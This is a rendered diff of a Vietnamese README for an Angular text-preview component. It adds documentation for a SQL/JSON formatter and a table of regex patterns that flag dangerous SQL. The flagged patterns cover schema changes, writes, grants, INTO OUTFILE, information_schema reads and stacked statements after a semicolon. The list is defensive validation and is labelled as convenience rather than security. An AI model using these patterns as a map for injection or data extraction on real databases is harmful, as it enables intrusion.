🔴 `DEFAULT_SECURITY_PATTERNS` ở trên **chỉ chặn API JavaScript** (`eval`, `fetch`, `localStorage`…) nên không dùng được cho SQL.
|
|
574
|
+
|
|
575
|
+
| Pattern | Lý do |
|
|
576
|
+
|---|---|
|
|
577
|
+
| `/\b(drop\|truncate\|alter\|create)\b/i` | Câu lệnh đổi lược đồ |
|
|
578
|
+
| `/\b(delete\|update\|insert)\b/i` | Câu lệnh ghi dữ liệu |
|
|
579
|
+
| `/\b(grant\|revoke)\b/i` | Câu lệnh đổi quyền |
|
|
580
|
+
| `/\binto\s+outfile\b/i` | Ghi kết quả ra tệp trên máy chủ CSDL |
|
|
581
|
+
| `/\binformation_schema\b/i` | Đọc siêu dữ liệu — lộ toàn bộ danh sách bảng/cột |
|
|
582
|
+
| `/\bpg_[a-z_]+\b/i` | Bảng/hàm hệ thống PostgreSQL |
|
|
583
|
+
| `/;\s*\S/` | Dấu chấm phẩy còn nội dung phía sau ⇒ nối câu lệnh thứ hai |
|
|
584
|
+
|
|
585
|
+
Màn thật sự cần chạy câu lệnh ghi thì lọc bớt:
|
|
586
|
+
|
|
587
|
+
```typescript
|
|
588
|
+
const choPhepGhi = DEFAULT_SQL_FORBIDDEN_PATTERNS.filter((p) => !String(p).includes('delete'));
|
|
589
|
+
```
|
|
590
|
+
|
|
591
|
+
🔴 Đây là lớp **thuận tiện** cho người dùng — báo sớm khi gõ sai loại câu lệnh, KHÔNG phải lớp bảo mật. Backend bắt buộc tự kiểm lại.
|
|
592
|
+
|
|
593
|
+
## Định dạng nội dung
|
|
594
|
+
|
|
595
|
+
Nút "Định dạng" nằm sẵn trên thanh công cụ, không cần nơi dùng dựng gì. Hiện hỗ trợ `sql` và `json`.
|
|
596
|
+
|
|
597
|
+
```sql
|
|
598
|
+
-- người dùng gõ
|
|
599
|
+
select a,b,count(*) as tong from bang_kh k left join bang_dm d on k.id=d.kh_id
|
|
600
|
+
where k.trang_thai='active' and d.ngay>=:page.tu_ngay group by a,b order by tong desc limit 50
|
|
601
|
+
|
|
602
|
+
-- sau khi bấm Định dạng
|
|
603
|
+
SELECT a,
|
|
604
|
+
b,
|
|
605
|
+
count(*) AS tong
|
|
606
|
+
FROM bang_kh k
|
|
607
|
+
LEFT JOIN bang_dm d
|
|
608
|
+
ON k.id = d.kh_id
|
|
609
|
+
WHERE k.trang_thai = 'active'
|
|
610
|
+
AND d.ngay >= :page.tu_ngay
|
|
611
|
+
GROUP BY a,
|
|
612
|
+
b
|
|
613
|
+
ORDER BY tong DESC
|
|
614
|
+
LIMIT 50
|
|
615
|
+
```
|
|
616
|
+
|
|
617
|
+
Việc bộ định dạng SQL làm: mỗi mệnh đề một dòng · mỗi cột một dòng thụt vào · `AND`/`OR`/`ON` xuống dòng thụt thêm · câu con tăng một cấp thụt · từ khoá viết HOA · toán tử có đúng một dấu cách hai bên (`c=1` → `c = 1`).
|
|
618
|
+
|
|
619
|
+
Việc nó **không** làm — cố ý, để không bao giờ làm sai câu lệnh:
|
|
620
|
+
|
|
621
|
+
- Không đụng chữ trong chuỗi, định danh trích dẫn hay chú thích — `'select from where'` giữ nguyên
|
|
622
|
+
- Không tách danh sách ngắn: `y IN (1, 2, 3)`, `coalesce(a, 0)`, `OVER (PARTITION BY y)` giữ một dòng
|
|
623
|
+
- Không đổi tên bảng / tên cột — chỉ từ khoá mới viết hoa
|
|
624
|
+
- Không nhận nhầm dấu âm thành phép trừ: `LIMIT -1`, `b = -1` giữ nguyên
|
|
625
|
+
- JSON hỏng cú pháp (đang gõ dở) → trả nguyên văn, không làm mất chữ
|
|
626
|
+
|
|
627
|
+
**Nguyên tắc bất biến:** chỉ đổi khoảng trắng và chữ hoa-thường của từ khoá. Có `sqlChuanHoaDeSoSanh` để kiểm — bỏ hết khoảng trắng rồi chuẩn hoá thì bản trước và sau định dạng phải trùng khít.
|
|
628
|
+
|
|
629
|
+
```typescript
|
|
630
|
+
import { sqlFormat, formatTheoNgonNgu, sqlChuanHoaDeSoSanh } from '@libs-ui/components-preview-text-data';
|
|
631
|
+
|
|
632
|
+
const gonGang = formatTheoNgonNgu(noiDung, 'sql'); // hoặc sqlFormat(noiDung)
|
|
633
|
+
|
|
634
|
+
// định dạng không bao giờ đổi nghĩa:
|
|
635
|
+
sqlChuanHoaDeSoSanh(gonGang) === sqlChuanHoaDeSoSanh(noiDung); // true
|
|
636
|
+
```
|
|
637
|
+
|
|
411
638
|
## Ngôn ngữ được hỗ trợ
|
|
412
639
|
|
|
413
640
|
| ID | Nhãn hiển thị | Linter |
|
|
@@ -441,14 +668,6 @@ Các pattern được chặn:
|
|
|
441
668
|
|
|
442
669
|
⚠️ **Cleanup tự động**: Component tự hủy EditorView instance và xóa cache ngôn ngữ khi bị destroy (qua `DestroyRef`). Không cần thao tác cleanup thủ công từ phía consumer.
|
|
443
670
|
|
|
444
|
-
## Demo
|
|
445
|
-
|
|
446
|
-
```bash
|
|
447
|
-
npx nx serve core-ui
|
|
448
|
-
```
|
|
449
|
-
|
|
450
|
-
Truy cập: http://localhost:4500/preview-text-data
|
|
451
|
-
|
|
452
671
|
## Unit Tests
|
|
453
672
|
|
|
454
673
|
```bash
|